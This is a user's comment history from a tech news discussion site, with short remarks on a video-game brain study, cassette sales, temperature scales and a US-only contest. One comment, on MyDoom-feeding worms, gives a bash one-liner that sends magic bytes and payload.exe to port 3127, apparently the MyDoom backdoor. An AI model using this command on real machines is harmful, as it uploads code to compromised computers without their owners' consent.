User: tranZent

Re:Isn't the lesson here...

On: Playing Action Video Games May Be Bad For Your Brain, Study Finds (www.cbc.ca)

A good summary of the study, by a neurologist: https://sciencebasedmedicine.o...

Actual Numbers

On: Cassettes Are Back, and Booming (fastcompany.com)

From the actual report

There were 11,489 cassettes purchased during the Holiday Season (an increase of 140% over 2015).

Re:DoomNet...

On: New Worms Feed on MyDoom Infections

on FreeBSD (and probably Linux)

#!/bin/bash

echo -e -n "\x85\x13\x3c\x9e\xa2"|cat - payload.exe|socket -wq 1.2.3.4 3127

Re:Strange Room Temperature

On: Force Field. No, Really

Don't mix your temperature scales!

The factor 50 is correct, given room temperature of about 295 Kelvin.

295 x 50 = 14750

Re:Columbia University does

On: Games in High School?

However, my question would be - do other high schools even do this?

and then spotter says:

Columbia University does

Sorry to be pedantic, but the last time I checked, Columbia University was not a high school.

Only Americans Need Apply

On: NBC Signs Up To Broadcast "Destination Mir"

In typical American fashion, Burnett is (again) restricting contest entry to only U.S. citizens.

So much for the *international* space effort.